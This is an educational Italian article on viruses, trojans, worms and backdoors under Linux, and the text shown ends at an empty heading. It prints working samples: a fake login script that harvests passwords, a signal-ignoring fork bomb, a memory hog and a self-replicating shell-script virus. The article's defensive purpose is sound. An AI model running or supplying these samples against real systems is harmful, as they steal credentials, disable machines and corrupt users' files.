Virus: una faccenda che riguarda noi tutti

by Christophe Blaess
(homepage)

About the author:

Christophe Blaess è un ingegnere aereonautico indipendente. E' un fan di Linux e compie la maggior parte del suo lavoro su tale sistema. E' un coordinatore delle pagine di manuale (man) per il *Linux Documentation Project*.

Abstract:

Questo articolo è stato già pubblicato in uno speciale dedicato alla sicurezza nel Linux Magazine francese. L'editore, i redattori e i traduttori hanno gentilmente concesso a LinuxFocus di pubblicare ogni articolo che fosse tratto da questo speciale sicurezza. Quindi LinuxFocus ve lo riporterà non appena sarà tradotto in inglese. Grazie a tutti coloro che si dedicano a questo lavoro. Questa premessa sarà riportata su ogni articolo tradotto da LinuxFocus.

Translated to English by:
Georges Tarbouriech
<georges.t(at)linuxfocus.org>

Preambolo

Questo articolo è un esame dei problemi di sicurezza che possono riguardare i sistemi Linux a causa di software "aggressivo". Questo tipo di software può causare danni anche senza un intervento umano: Virus, Worms, Troiani, etc. Approfondiremo le varie vulnerabilità, accentrando l'attenzione sui pro e i contro del free software in questa materia.

Introduzione

Ci sono prevalentemente quattro tipi distinti di minacce sulle quali l'utente medio può trovare qualche problema di comprensione, specialmente poichè spesso accade che l'attacco si basi su vari meccanismi:

- *Virus* si riproducono in modo autonomo infettando l'architettura del software colpito;
- *Trojan horses o Troiani* eseguono dei compiti celandosi in applicazioni apparentemente innocue;
- *Worms* approfittano delle reti di computer per propagarsi, usando, ad esempio, la posta elettronica;

- *Backdoors* permettono ad un utente esterno di prendere il controllo di un'applicazione usando vie indirette.

Non è sempre facile classificarli, ad esempio, ci sono dei programmi che vengono identificati come virus da alcuni e come worms da altri, e questo non fa altro che complicare la questione. In effetti non è una questione importante, considerando che lo scopo di quest'articolo è di chiarire meglio quali danni possano causare ad un sistema Linux.

Contrariamente a quanto si crede, queste quattro piaghe esistono già anche per Linux. Certamente i virus si trovano in un ambiente meno favorevole al contagio di quanto non lo sia un sistema DOS, ad esempio, ma il pericolo attuale non deve essere trascurato. Analizziamo quali rischi si possono correre.

Le potenziali minacce

Virus

Un virus è un tot di codice installato nel nucleo centrale di un programma ospite, capace di riprodursi da solo infettando nuovi file eseguibili. I virus sono stati ideati negli anni settanta quando i programmatori di quegli anni giocavano un gioco chiamato "*core war*". Questo gioco è un prodotto dei laboratori Bell AT&T [MARSDEN 00]. Lo scopo del gioco era di far girare in parallelo, in una limitata area di memoria, piccoli programmi capaci di distruggere gli altri. Il sistema operativo non forniva una protezione tra le aree di memoria dei programmi, perciò erano praticamente permesse delle vicendevoli aggressioni con la finalità ultima di uccidere tutti gli altri partecipanti. Per far ciò, alcuni bombardavano di "0" l'area di memoria più grande possibile, mentre altri si spostavano permanentemente all'interno dello "space address" sperando di sovrascrivere il codice degli avversari, e qualche volta, alcuni cooperavano per eliminare un "nemico" particolarmente tenace.

Gli algoritmi creati a tali scopi furono tradotti in un linguaggio assembly personalizzato per questo, il "*red code*", il quale fu eseguito tramite un emulatore disponibile per la maggior parte di macchine allora esistenti. L'interesse del gioco era meramente di curiosità scientifica, come ad esempio il "Life of Conway Game", i frattali, gli algoritmi genetici, ecc.

Ad ogni modo, conseguentemente alla pubblicazione degli articoli sul core war, pubblicati nella rivista *Scientific American* [DEWDNEY 84], successe l'inevitabile e qualcuno iniziò a scrivere piccoli programmini autoreplicanti per il settore di boot dei floppy o per file eseguibili, all'inizio su computer Apple][, e successivamente su Mac e PC.

L'ambiente MS DOS costituiva un sistema ottimale alla proliferazione dei virus: file eseguibili statici di un formato noto a tutti, assenza di protezione della memoria, assenza di sicurezza nei permessi di accesso ai file, largo uso di *TSR* programmi residenti che si accatastano nella memoria, etc. A ciò dobbiamo aggiungere l'ignoranza che sul problema allora avevano gli utenti, i quali si scambiavano assiduamente dei programmi su floppy senza preoccuparsi della loro origine.

Nella sua forma più semplice, un virus è un piccolo frammento di codice che può essere eseguito come accessorio al caricamento di un'altra applicazione. Ha inoltre il vantaggio di poter controllare, nel momento in cui si sta caricando insieme ad un altro eseguibile, se ci siano altri file eseguibili non ancora infettati, nei quali potersi occultare (preferibilmente lasciando immutato il file ospite per non dare nell'occhio). Nello stesso istante in cui sarà lanciato il nuovo file eseguibile infettato, tutto questo processo sarà ripetuto daccapo.

I Virus possono contare su una grande quantità di "armi" per auto−replicarsi. In [LUDWIG 91] ed in [LUDWIG 93] si trova una dettagliata descrizione dei virus per DOS che usano sofisticate tecniche per nascondersi e per stare alla larga dagli attuali antivirus: tecniche criptiche casuali, modifica costante del

codice, ecc. Tra questi è persino possibile incontrarne alcuni che usano metodi basati su algoritmi genetici per ottimizzare la loro resistività e capacità riproduttiva. Informazioni analoghe possono essere trovate sul famosissimo articolo: [SPAFFORD 94].

Dobbiamo tuttavia ricordare che i virus oltre a rappresentare degli esperimenti sulla vita artificiale costituiscono un pericolo capace di apportare seri danni al sistema ospitante. Il principio di duplicazione multipla di parti di codice è solo causa di consumo di risorse di spazio (negli hard disk e nella memoria) ma i virus son solitamente utilizzati come strumento – a mo' di autisti – per altre cose molto più spiacevoli: le bombe logiche, che troveremo nuovamente trattando dei Trojan.

Cavalli di Troia (Troiani) e Bombe Logiche

Timeo Danaos et dona ferentes – Ho paura dei Greci che vogliano farci un qualche dono. (Virgilio, *Eneide*, II, 49).

I Troiani assediati dai Greci ebbero la cattiva idea di portare dentro le mura della loro città un enorme cavallo di legno cavo, abbandonato dai Greci come se fosse un'offerta agli dei. Il cavallo di Troia celava al suo interno un vero e proprio commando i cui componenti, una volta infiltratisi a Troia, si giovarono della possibilità di attaccare di notte la città dal suo interno, e questo permise ai Greci di vincere la guerra contro Troia.

Il termine famosissimo "Cavallo di Troia" è spesso utilizzato nel campo della sicurezza informatica per indicare un'applicazione apparentemente inoffensiva, come già descritto parlando dei virus, che però diffonde un codice distruttivo chiamato *bomba logica*.

Una bomba logica è un programma creato appositamente per essere dannoso ed ha vari effetti:

- enorme dispendio di risorse di sistema (memoria, hard disk, CPU, etc.);
- veloce distruzione di quanti più file possibile (sovrascrivendoli per prevenire la scoperta del loro reale aspetto da parte degli utenti);
- furtiva distruzione di file di tanto in tanto, per stare nascosto quanto più a lungo possibile;
- attacco ai sistemi di sicurezza (implementazione di semplici scorciatoie per accedere sl sistema, inviando il file contenente le password del sistema ad un indirizzo internet predeterminato, ecc.);
- utilizzo delle macchine infette come veicoli per atti di cyberterrorismo, come ad esempio DDoS (*Distributed Denial of Service*) come spiegato nel famoso [GIBSON 01];
- catalogazione dei numeri di licenza delle applicazioni installate sul disco e spedizione di questi ai programmatori del software.

In alcuni casi le bombe logiche possono esser state scritte per uno specifico sistema bersaglio del quale cercano di carpire informazioni confidenziali, distruggere file particolari, o discreditare l'utente assumendo la sua identità. La stessa bomba logica eseguita su sistemi differenti risulterebbe assolutamente innocua.

Le bombe logiche possono anche tentare di distruggere in senso fisico il sistema sul quale risiedono. Le possibilità in tal senso son fortunatamente alquanto limitate, ma tuttavia reali (formattazione della CMOS, modifica della memoria flash dei modem, movimenti dannosi e repentini delle testine delle stampanti, plotter e scanner, accelerazione oltre i limiti delle testine di lettura degli hard disk...).

Per dirla con una metafora "esplosiva", diciamo che una bomba logica ha bisogno, per essere attivata, di un detonatore. Effettivamente, eseguire compiti distruttivi con un Trojan o con un virus al primo colpo è una cattiva tecnica che al limite potrebbe impensierire solo per una perdita di efficienza del sistema. Infatti dopo aver installato la bomba logica, è meglio aspettare prima di farla esplodere. Questo di far ritardare lo scoppio

potrebbe incrementare le possibilità di infettare altri sistemi se la bomba logica è accoppiata con un virus; mentre se è accoppiata con un Trojan si renderà, agli occhi dell'ignaro utente, meno chiaro il legame tra la fresca installazione di un programma e lo strano comportamento assunto dalla macchina.

Come qualsiasi evento dannoso, il meccanismo di rilascio degli effetti distruttivi può essere variamente distribuito: ad esempio, dopo 10 giorni dall'installazione, si verificherà la rimozione dell'account di un utente (lay−off), la tastiera e il mouse resteranno inattivi per 30 minuti, la coda in stampa aumenterà a dismisura... non mancano certo le possibilità! Il più famoso Trojan è lo screen saver anche se ormai è qualcosa di trito e ritrito... si sa. Dietro un look accattivante, questi programmi possono creare danni senza che nessuno li disturbi, specialmente se la bomba logica è programmata per azionarsi dopo un'ora per star certi che l'utente non si trovi di fronte al monitor.

Un altro esempio di Trojano è il seguente script, che mostra a schermo la password di accesso, e invia tale informazione alla persona che l'ha lanciata, quindi termina la sua azione. Se si trova ad operare su un terminale non inizializzato, questo script permette di catturare la password del primo utente che si registrerà.

```
#! /bin/sh

clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
        login: $login
        passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout
```

Per farlo disconnettere quando avrà finito la sua "opera" deve essere lanciato con il comando di shell `exec`. La vittima penserà di aver digitato male la sua password poichè vedrà sul monitor il messaggio "*Login incorrect*" e si connetterà al secondo tentativo ridigitando la password come sempre. Versioni più avanzate son capaci di simulare la connessione con la finestra di dialogo in X11. Per stare alla larga da tali trappole, è buona cosa usare prima un falso login e una falsa password (anche perchè si tratta di una tecnica molto più facile da ricordare).

Worms (lett.= vermi)

And Paul found himself on the Worm, exulting, like an Emperor dominating the universe. (F. Herbert "*Dune*")

I "*Worm*" hanno la stessa origine dei virus. Son dei programmi che tentano di autoreplicarsi per diffondersi il più possibile. Anche se non è una loro caratteristica generale, questi possono anche contenere una bomba logica a scoppio ritadato. La differenza tra worm e virus è che i worms non usano un programma ospite come veicolo, ma approfittano delle opportunità messe a disposizione dalla rete, come ad esempio la posta elettronica per saltare di macchina in macchina.

Il livello tecnico dei worms è alquanto elevato, essi utilizzano le vulnerabilità del software fornendo servizi di rete per forzare la loro autoduplicazione su macchine remote. Il loro archetipo è l'"*Internet Worm*"del 1988.

L'*Internet Worm* è un esempio di worm puro, non contenente bombe logiche, nonostante ciò i suoi effetti, benchè involontari, furono devastanti. Potete trovare una breve ma acuta descrizione in [KEHOE 92] o un'analisi dettagliata in [SPAFFORD 88] o [EICHIN 89]. Inoltre c'è una meno tecnica ma molto più emozionante descrizione in [STOLL 89] (seguito della saga *Cuckoo Egg*), dove alla frenesia dei team che si affrontarono con questo worm seguì il panico degli amministratori dei sistemi infettati.

In breve. questo worm era un programma scritto da Robert Morris Jr, studente dell'università di Cornell, già noto per un articolo sui problemi della sicurezza nei protocolli di rete [MORRIS 85]. Egli era il figlio di un incaricato della sicurezza informatica al NCSC, sottogruppo del NSA. Il programma fu lanciato nel tardo pomeriggio del 2 novembre 1988 e bloccò molti dei computers collegati in Internet. Questo programma agiva a vari livelli:

1. Una volta infiltratosi in un computer, il worm provava a propagarsi nella rete. Per ottenere degli indirizzi leggeva i file di sistema e tramite utilities come `netstat` si procurava informazioni sulle interfacce di rete.
2. Poi, provava ad entrare negli accounts degli utenti. Per far ciò comparava il contenuto di un dizionario con il file delle password. Inoltre provava ad usare una password combinando il nome dell'utente (al contrario, ripetuto, ecc,). Questo passaggio quindi si basava su una prima vulnerabilità: il file delle password anche se criptato era pur sempre un file leggibile (`/etc/passwd`), di conseguenza approfittava della cattiva scelta delle password di qualche utente. Questa prima vulnerabilità è stata ormai eliminata con l'uso delle password ombra (shadow passwords).
3. Se il secondo passaggio aveva esito positivo, il worm cercava le macchine che fornissero un accesso diretto senza autenticazione, cioè che usasse i file `~/.rhost` e `/etc/hosts.equiv`. In questi casi, usava rsh per eseguire istruzioni arbitrarie sulle macchine remote. In questo modo era capace di riprodursi sul nuovo ospite... e tutto riiniziava daccapo.
4. Altrimenti, una seconda vulnerabilità usata per entrare in un'altra macchina era dato dall'utilizzo di un exploit per un buffer overflow di `fingerd`. (Vedete le nostra serie sulla programmazione sicura: Come evitare buchi di sicurezza nella programmazione di applicazioni– Parte 1, Come evitare buchi di sicurezza nella programmazione di applicazioni– Parte 2: memoria, stack e funzioni, shellcode, Come evitare buchi di sicurezza nella programmazione di applicazioni – Parte 3: buffer overflows.) Questo bug permetteva l'esecuzione di codice da remoto. Quindi il worm era capace di riprodursi su un nuovo sistema e riiniziare tutto il suo processo riproduttivo. Infatti, questo viveva solo su alcuni tipi di processori.
5. Infine, la terza vulnerabilità usata: un'opzione di debug contenuta nel demone di `sendmail, che permetteva di inviare posta elettronica` allo stdin dei programmi destinatari. Questa opzione non dovrebbe essere mai attivata, ma sfortunatamente la maggior parte degli amministratori ignorano l'esistenza di tale pericolo.

Permettetemi di notare come una volta che il worm sia divenuto capace di eseguire qualche istruzione su macchine remote, il modo per replicarsi su di esse era piuttosto macchinoso. Richiedeva infatti la trasmissione di un piccolo programma in C, ricompilato sul posto ed eseguito. Quindi, doveva stabilire una connessione TCP/IP con il computer di partenza e riinviare indietro tutti i file binari del worm. Quest'ultimo, precompilato, esisteva per varie architetture (Vax e Sun), e venivano testate una per una. Inoltre il worm era molto abile a nascondersi senza lasciare traccia.

Sfortunatamente il meccanismo che doveva evitare che un computer fosse infettato più volte non funzionò come ci si aspettava e la caratteristica più nociva del worm *Internet 88*, non contenente alcuna bomba logica, si ridusse ad un forte sovraccarico dei sistemi infetti (in paricolar modo con un blocco totale della posta elettronica, che causò ritardi nella possibilità di procacciarsi gli antidoti).

L'autore del worm ha visitato per un bel periodo le patrie galere!

I worm son relativamente rari a causa della loro complessità. Essi non possono essere confusi con altri tipi di pericoli, come i virus trasmessi con allegati alla posta elettronica come il famoso "*ILoveYou*". Questi ultimi sono semplicissimi in quanto consistono in macro scritte (in basic) per applicazioni di produttività e lanciati automaticamente alla lettura dell'e−mail. Questi possono agire solo su determinati sistemi operativi, se il programma per leggere le e−mail è settato in modo sbagliato. Questi programmi sono più simili ai Troiani che ai worms, poichè richiedono l'azione dell'utente per poter essere lanciati.

Backdoor (lett.="la porta sul retro" o uscita secondaria)

Le Backdoor possono essere assimilate ai Trojan ma non sono identici. Una backdoor permette ad un utente ("avanzato") di agire sul software modificandone il comportamento. Può essere paragonato ai codici *cheat* che nei videogiochi permettono di avere maggiori risorse, di raggiungere livelli più alti, ecc. Ma è vero anche per applicazioni cruciali come l'autenticazione in fase di connessione o per la posta elettronica, visto che possono offrire un accesso furtivo con una password conosciuta solo dal creatore del software.

I programmatori per rendersi più agevole la fase di debugging del software, spesso lasciano una porticina aperta che gli permette di usare il software saltando il processo di autenticazione, persino nei casi in cui l'applicazione sia installata nel client. A volte vi son meccanismi ufficiali con password di default (`system`, `admin`, `superuser`, etc) che non son documentate a sufficienza che permettono all'amministratore di autenticarsi.

Ricordano i differenti accessi segreti che permettevano di dialogare con il cuore del sistema nel film "*Wargame*" . In un articolo incredibile [THOMPSON 84], Ken Thompson, uno dei padri di Unix, descrive un accesso segreto implementato sui sistemi Unix qualche tempo fa.

- Egli ha cambiato l'applicazione `/bin/login` per includervi alcune righe di codice, che conferivano un accesso diretto al sistema digitando una password hardcoded precompilata (senza passare per l'account contenuto in `/etc/passwd`). In questo modo, Thompson poteva visitare ogni sistema usando questa versione di `login`.
- Ad ogni modo, i sorgenti dell'applicazione erano già da allora disponibili (come succede oggi per il software free). Quindi il codice sorgente di `login.c` era disponibile nei sistemi Unix e chiunque poteva leggere il codice modificato. Perciò , Thompson fornì anche un `login.c "pulito"` senza la porta di accesso.
- Il problema è che ogni amministratore poteva ricompilare `login.c` per rimuoverne il codice per l'accesso segreto. Quindi Thompson modificò il compilatore standard in C per poter aggiungere una backdoor nel caso in cui si fosse accorto che qualcuno stesse cercando di ricompilare `login.c`.
- Ma anche in questo caso, i sorgenti del compilatore `cc.c` erano di dominio pubblico e ognuno poteva leggere o ricompilare il compilatore. Per cui, Thompson fornì un codice sorgente puro del compilatore, ma il file binario, già trasformato, poteva identificare con precisione i suoi file sorgenti, perciò incluse il codice usato per infettare `login.c`...

Cosa si poteva fare contro questa situazione? Beh... niente ! L'unica soluzione era quella di riavviare tutto con un nuovo tipo di sistema operativo. A meno che non creiate una macchina da zero creandone l'intero codice di base, il sistema operativo, i compilatori e le utilities, non sarete mai sicuri che ogni applicazione sia sicura al 100%, persino se fosse disponibile il codice sorgente.

E, per quanto riguarda Linux?

Abbiamo esaminato i rischi principali per ogni sistema. Dobbiamo ora concentrare la nostra attenzione sulle minacce al free software e a Linux in particolare.

Bombe Logiche

Innanzitutto vediamo quali danni potrebbe fare una bomba logica su un sistema Linux. Ovviamente, i vari effetti dipenderanno dagli scopi e dai privilegi raggiunti da chi avvia la bomba logica.

Distinguiamo due casi in cui si potrebbe persino arrivare alla distruzione del filesystem o alla lettura di dati confidenziali. Se la bomba agisce con i privilegi di root, avrebbe un potere assoluto sulla macchina, incluso quello di cancellare ogni partizione o di agire in modo nocivo sull'hardware, nei modi già descritti. Se invece è lanciata sotto un'altra identità, non potrebbe distruggere più di quanto possa fare un utente senza privilegi di root. In questo caso, ognuno è responsabile solo per i propri file. Un amministratore di sistema coscienzioso dovrebbe eseguire sotto i privilegi di root solo i compiti strettamente necessari, in questo modo si ridurrebbe la possibilità che una bomba logica sia lanciata coi privilegi di root.

Un sistema Linux è piuttosto efficace dal punto di vista della protezione all'accesso indiscriminato a dati privati e all'hardware, ma è sensibile agli attacchi che puntano a renderlo non operativo con dispendio di enormi quantità di risorse di sistema. Ad esempio, il seguente programma C è difficile da fermare, anche se avviato da un utente normale, poichè se il numero dei processi per utente non è limitato, potrebbe "mangiarsi" ogni processo a disposizione nella tabella delle operazioni ed impedire qualsiasi tentativo di buttarlo giù (il processo):

```
  #include <signal.h>
  #include <unistd.h>

  int
main (void)
{
  int i;
  for (i = 0; i < NSIG; i ++)
    signal (i, SIG_IGN);
  while (1)
    fork ();
}
```

La possibilità di imporre dei limiti agli utenti (con la chiamata di sistema `setrlimit()` e con la funzione di shell `ulimit`) permette di accorciare la vita di qualsiasi programma, ma diventa effettivo solo dopo un pò di tempo in cui la macchina si sia paralizzata.

Nella stessa connessione, un programma come il seguente usa tutta la memoria disponibile e gira di continuo mangiandosi i cicli della CPU, a danno degli altri processi:

```
  #include <stdlib.h>

  #define LG      1024

  int
main (void) {
  char * buffer;
  while ((buffer = malloc (LG)) != NULL)
     memset (buffer, 0, LG);
```

```
  while (1)
    ;
}
```

Solitamente questo programma viene terminato dal meccanismo di gestione della memoria virtuale contenuto nelle ultime versioni del kernel. Ma prima di esso, potrebbe entrare in azione il kernel per terminare tutti gli altri processi che richiedano grandi quantità di memoria e che al momento sembrino in uno stato di quiescenza (le applicazioni che sfruttino X11 ad esempio). Inoltre tutti gli altri procesi non avranno memoria a disposizione, e questo ne provocherà la chiusura.

Mettere fuori servizio degli strumenti di rete è piuttosto semplice, sovraccaricandone la porta corrispondente con continue richieste di connessione. La soluzione per evitare questo esiste, solo che non sempre gli amministratori si ricordano di implementarla. Quindi possiamo notare che sotto Linux, quando un utente normale lancia una bomba logica, non si avranno problemi di perdita di dati che non siano dell'utente, ma può essere piuttosto fastidioso. E' sufficiente infatti combinare qualche `fork()`, `malloc()` e `connect()` per stressare il sistema e i servizi di rete.

Virus

```
Subject: Unix Virus

YOU RECEIVED AN UNIX VIRUS

This virus works according to a cooperative principle:

If you use Linux or Unix, please forward this mail to your
friends and randomly destroy a few files of your system.
```

```
Oggetto: Virus per Unix
HAI APPENA RICEVUTO UN VIRUS UNIX
Questo virus si  basa su un principio di cooperazione:
Se usi Linux oppure Unix, ti preghiamo di inviare questa
e-mail anche ai tuoi amici e di distruggere qualche file
a caso nel tuo sistema operativo.
```

Malgrado la maggior parte delle persone sia convinta diversamente, i virus possono interessare anche Linux. Ne esistono diversi. Ciò che è vero, è che sotto Linux i virus non trovano un ambiente molto ospitale e ottimale per la loro espansione. Innanzitutto vediamo attraverso quali fasi un virus infesta una macchina. Il codice del virus dev'essere eseguito in locale. Ciò può avvenire quando un file eseguibile corrotto sia stato copiato da un'altro sistema. Nel mondo Linux, è usanza, quando si voglia fornire qualcuno di un'applicazione, dargli l'URL dove recuperarla piuttosto che mandargliela direttamente di persona. In questo modo se il virus proviene dal sito ufficiale di quell'applicazione, sarà più semplice individuarlo. Una volta che una macchina sia stata infettata, perchè possa far espandere il virus questo dovrebbe avere un formato precompilato compatibile con più tipi di piattaforme, cosa alquanto rara. In effetti, i file eseguibili non son un buon mezzo di trasporto di bombe logiche nel mondo del free software.

Riguardo all'estensione del virus all'interno della macchina, ovviamente un'applicazione corrotta può estendersi ai file per i quali, un determinato utente, ha i permessi in scrittura. Gli amministratori saggi lavorano come *root* solo per eseguire operazioni che richiedano realmente tale privilegio, e difficilmente proverà un software nuovo sotto questa identità. A parte il caso di installazione di un'applicazione con il *Set−UID root* infetta, il rischio è notevolmente ridotto. Quando un utente normale eseguirà un programma infetto, il virus agirà solo sui file di quest'utente, senza toccare le altre utilità del sistema.

Se i virus hanno rappresentato per lungo tempo qualcosa di inconcepibile per i sistemi Unix, ciò è dovuto anche alla diversità dei processori (quindi dei linguaggi di assembly) e delle librerie che hanno limitato il

campo utile (per l'espansione dei virus) solo ai codici precompilati. Oggi non è più vero questo, ed un virus progettato per infettare i file ELF compilati per Linux per un processore i386 con le librerie GlibC 2.1 troverà un bel pò di bersagli. Per di più un virus può essere scritto in un linguaggio adattabile a diverse macchine−ospite. Ad esempio, esiste un virus per gli script della shell. Questo cerca di entrare in ogni script per la shell che si trovi nella directory dalla quale sia stato lanciato. Per evitare di infettare lo stesso script più volte, il virus ignora i file che abbiano nella seconda linea il commento "infetto" o "vaccinato".

```
#! /bin/sh
# infected

( tmp_fic=/tmp/$$
candidates=$(find . -type f -uid $UID -perm -0755)
for fic in $candidates ; do
        exec < $fic
        # Proviamo a leggerne la prima linea,
        if  ! read line ; then
                continue
        fi
        # e verifichiamo se si tratti di uno script per la shell.
        if [ "$line" != "#!/bin/sh" ] && [ "$line" != "#! /bin/sh" ] ; then
                continue
        fi
        # Leggiamo ora la seconda linea.
        if ! read line ; then
                continue
        fi
        # Si tratta di un file infetto o già vaccinato ?
        if [ "$line" == "# vaccinated" ] || [ "$line" == "# infected" ] ; then
                continue
        fi
        # Se la seconda linea non ci dice nulla lo infettiamo noi: copia il vir
 +++us,
        head -33 $0 > $tmp_fic
        # ed il file originario.
        cat $fic >> $tmp_fic
        # Sovrascrivi il file originario.
        cat $tmp_fic > $fic
done
 rm -f $tmp_fic
) 2>/dev/null &
```

Il virus non si preoccupa di nascondere se stesso o le sue azioni, a parte ciò lavora in sottofondo eliminando lo script originario. Ovviamente non dovete eseguire questo script da *root* ! Specialmente se cambiate `find .` con `find /`. Malgrado la semplicità di questo programma, è molto facile che esca fuori dal nostro controllo, in particolare se il sistema contiene un gran numero di script di shell personalizzati.

Nella tavola 1 sono riportate informazioni sui virus più famosi che girano su Linux. Tutti questi infettano gli eseguibili ELF inserendo il loro codice dopo le intestazioni del file e spostando indietro il resto del codice originario. Di default essi cercano i loro potenziali obiettivi nelle directory di sistema. Da questa tavola potete notare che i virus in linux non sono famosissimi e nemmeno troppo preoccupanti, principalmente a causa della loro (almeno finora) inoffensività.

Tavola 1 – Virus che girano in Linux

Nome	*Bomba logica*	*Note*
Bliss	Apparentemente inattiva	Disinfestazione automatica d `--bliss-disinfect-f`

Diesel	Nessuna	
Kagob	Nessuna	Usa un file temporaneo per e
Satyr	Nessuna	
Vit4096	Nessuna	Infetta solo i file contenuti n
Winter	Nessuna	Il codice del virus è di 341 b directory corrente.
Winux	Nessuna	Il virus consta di due codici files di Windows sia i file EL altre partizioni oltre a quella capacità riproduttive.
ZipWorm	Inserisce un testo da "troll" su Linux e Windows nei file Zip che trova. ("troll"= tipo di gnomo della mitologia Svedese)	

Notate come il virus "Winux" sia capace di aggredire sia i sistemi Windows che quelli Linux. E' un virus inoffensivo e consiste in un qualche test dimostrativo piuttosto che un reale pericolo. Tuttavia pensare che un siffatto intruso è capace di zompettare da una partizione ad un'altra invadendo delle reti eterogenee per mezzo dei server tipo Samba, ci fa correre un brivido lungo la schiena. Ma fino a quando non sia disponibile uno strumento, che funzioni allo stesso modo sia su Windows che su Linux, la loro eliminazione costituisce pur sempre motivo di preoccupazione. E' importante ricordare che i meccanismi che su Linux ci proteggono dalla modificazione o distruzione dei file da parte di un virus che "giri" con i privilegi di un utente normale, non servono a nulla se la partizione in cui risiede Linux è assediata da un virus che "giri" (NDT: scusate la ripetizione) sulla partizione Windows.

Permettetemi di insistere su questo punto: ogni precauzione di buona amministrazione del sistema Linux è inefficace se si riavvia il computer da una partizione Windows che "ospiti" un eventuale virus multipiattaforma. E' un problema tipico di ogni macchina che usi il *dual−boot* con due sistemi operativi; il livello di protezione massima dell'intera macchina dipende dai meccanismi di sicurezza del sistema operativo più debole! L'unica soluzione sarebbe quella di impedire l'accesso alle partizioni Linux da qualsiasi applicazione Windows per mezzo di un filesystem criptato. Questo non è ancora un tipo di virus molto diffuso, ma crediamo che presto, i virus che attaccano delle partizioni non montate, rappresenteranno un concreto pericolo per le macchine Linux.

Trojan

I Trojan son terribili come i virus e pare che la gente sia già consapevole di ciò. A differenza delle bombe logiche trasportata da virus, quelle contenute nei Trojan sono state inserite di proposito da qualche essere umano. Nel mondo del freesoftware i passaggi che separano l'autore di un programma dall'utente finale sono limitati a uno o due intermediari (diciamo ad esempio l'incaricato del progetto e chi ne prepara la distribuzione). Se si dovesse trovare un Trojan in quel progetto, sarebbe facile identificare il "colpevole".

Il mondo del free software è, perciò, abbastanza protetto contro i Trojan. Ma noi parliamo del freesoftware come lo conosciamo oggi, con progetti di software con tutta la loro gerarchia di produzione, con sviluppatori disponibili agli scambi di opinioni e siti internet di riferimento. E' assai diverso da uno scenario in cui shareware o freesoftware sia disponibile solo precompilato, distribuito in modo disorganizzato da centinaia di siti web (o CD allegati a riviste), in cui dell'autore si conosce solo un indirizzo e−mail facilmente falsificabile; questa situazione sarebbe ideale per il prolificare di Trojan anche su Linux.

Vorremmo notare, anche, che il fatto che di una applicazione sia disponibile il codice sorgente non è garanzia di sicurezza. Ad esempio una bomba logica nociva potrebbe essere agevolmente nascosta nello script "`configure`" (quello usato durante il processo di ... "`./configure; make`") il quale solitamente è composto di 2000 linee! Infine, ma non meno importante, il codice sorgente di un'applicazione potrebbe anche essere "pulito" ma non impedisce il fatto che il `Makefile` sia "in dolce attesa di una bomba logica" (NDT: l'espressione è "libera"!) pronta a venire alla luce al momento del "`make install`" finale, che solitamente è compiuto da *root*!

Inoltre, la maggior parte dei Trojan per windows sono in realtà delle macro che si avviano alla sola lettura di un documento. I pacchetti di produttività sotto Linux non sanno, al momento, interpretare queste macro, e ciò suscita nell'utente un esagerato senso di sicurezza. Ma verrà il momento in cui questi strumenti saranno in grado di interpretare anche le macro in Basic incluse nel documento. Prima o poi capiterà che i progettisti software permetteranno a queste macro di eseguire dei comandi sul sistema. Sicuramente, come accade per i virus, gli effetti dannosi saranno limitati alle possibilità concesse a quel determinato utente dai suoi privilegi, ma il fatto di non perdere file di sistema (sempre disponibili sul cd di installazione) è una piccola consolazione per l'utente che perderà tutti i suoi documenti, i suoi file sorgente, le sue e−mail, quando il suo ultimo backup risalga ad oltre un mese prima.

Notiamo, per erminare questo paragrafo sui Trojan, che c'è sempre un modo per annoiare un utente, anche senza esserci un danno effettivo, con certi file che richiedono un'analisi. Su Usenet, noterete che di tanto in tanto circolano dei file compressi che si ramificano in un'infinità di altri file che arrivano fino a saturare il disco rigido. Inoltre vi son dei file PostScript che son capaci di bloccare l'interprete (`ghostscript` o `gv`) sprecando al contempo le risorse della CPU. Questi non son dannosi, ma son noiosi e fanno perdere tempo.

Worms

Se Linux non esisteva ancora al tempo (1988) della diffusione del Worm Internet, ciò non significa che non abbia costituito un bersaglio possibile di questo tipo di attacchi, essendo la disponibilità dei sorgenti motivo di semplificazione della ricerca delle vulnerabilità (buffer overflow ad esempio). La complessità di scrivere un "buon" worm riduce il numero di quelli che operano sotto Linux. La tavole 2 ne presenta qualcuno, di quelli più diffusi.

I worms sfruttano le falle di sicurezza dei server di rete. Il rischio è teoricamente ridotto per le workstation che si connettono solo occasionalmente ad Internet rispetto ai server stabilmente in rete. Ma l'evoluzione dei tipi di connessione forniti agli utenti "domestici" (Cavo, ADSL, ecc) e la facilità di metter su servizi di rete (come HTTP, FTP anonimi, ecc.) implica il fatto che il rischio riguarda ormai un pò tutti.

Tavola 2 – I Worms sotto Linux

Nome	*Obiettivi*	*Note*
Lion (`1i0n`)	`bind`	Installa una backdoor (TCP port 10008) e un *root−kit* sulla macchina ospite. Invia le informazioni del sistema ad un indirizzo e−mail cinese.
Ramen	`lpr`, `nfs`, `wu-ftpd`	Cambia i file `index.html` che trova
Adore (Red Worm)	`bind`, `lpr`, `rpc`, `wu-ftpd`	Installa una backdoor nel sistema ed invia informazioni ad un indirizzo e−mail in Cina e in USA. Installa una versione di `ps` manipolata per occultare i suoi processi.
Cheese	Come Lion	

		Worm spacciato come "benefico", che cerca e rimuove le backdoors aperte da *Lion*.

Per quanto riguarda i worms, ricordiamo che la loro diffusione ha un limite temporale. Essi "sopravvivono" autoreplicandosi da un sistema ad un altro, e poichè si basa su vulnerabilità di recente scoperta, i continui aggiornamenti delle applicazioni−bersaglio fermano anche la diffusione del worm. In un prossimo futuro, è probabile che i sistemi "domestici" consulteranno automaticamente (e quotidianamente) i siti internet di riferimento − ai quali ci si dovrà affidare ciecamente − per trovare patches per le applicazioni di sistema. Questo sarà necessario per evitare all'utente normale di sgobbare come un amministratore di sistema e per consentirgli di avere comunque delle applicazioni performanti.

Backdoor

